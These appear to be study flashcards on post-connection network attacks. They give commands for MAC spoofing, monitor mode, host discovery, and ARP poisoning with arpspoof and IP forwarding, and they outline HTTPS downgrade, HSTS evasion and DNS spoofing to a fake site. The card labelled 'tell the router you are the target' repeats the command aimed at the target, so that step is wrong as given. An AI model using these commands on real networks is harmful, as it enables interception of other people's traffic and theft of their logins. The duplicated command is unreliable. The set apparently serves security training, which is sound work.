Network Hacking: Post Connection Attacks Flashcards
How to change the MAC address on network interface
In the terminal:
- ifconfig wlan0 down
- ifconfig wlan0 hw ether 00:11:22:33:44:55
- ifconfig wlan0 up
- ifconfig
How to change wireless adapter to monitor mode
- ifconfig wlan0 down
- airmon-ng check kill
- iwconfig wlan0 mode monitor
- ifconfig wlan0 up
- iwconfig
How to discover devices connected to a network using netdiscover
netdiscover -r 10.0.2.1/24
r = range, which is the starting ip address and the subnet mask
How to discover devices connected to a network using nmap
nmap -sP
When discovering devices on a network, what information should we look for?
- IP
- MAC
- OPEN PORTS
- OS
How to ssh into a device
ssh root@192.168.83.100
How to check an arp table?
arp -a
What makes ARP insecure?
- Clients accept responses even if they did not send a request
- Clients trust responses without any form of verification.
This makes it vulnerable to arp spoofing
What is Man in the Middle Attack?
An attack that uses arp spoofing or poisoning to make the router think that you are at the victims ip, and the victim think that you are at the router mac address. This places you in-between the two devices allowing you to intercept the traffic
Using arpspoof to poison the arp tables
- Tell the target you are the router
arpspoof -i eth0 -t 192.168.83.129 192.168.83.2 - Tell the router you are the target
arpspoof -i eth0 -t 192.168.83.129 192.168.83.2 - Set up port forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
HSTS
HTTP Strict Transport Security (HSTS) is a simple and widely supported standard to protect visitors by ensuring that their browsers always connect to a website over HTTPS. HSTS exists to remove the need for the common, insecure practice of redirecting users from http:// to https:// URLs.
How to deal with HTTPS
Downgrade HTTPS to HTTP before the data is sent.
How to deal with HTTP HSTS
Change the website domain name.
What is DNS spoofing
A way of controlling DNS requests on a network, by providing the ip for a fake website when a DNS request is made.
How to start a webserver on linux Kali
sudo service apache2 start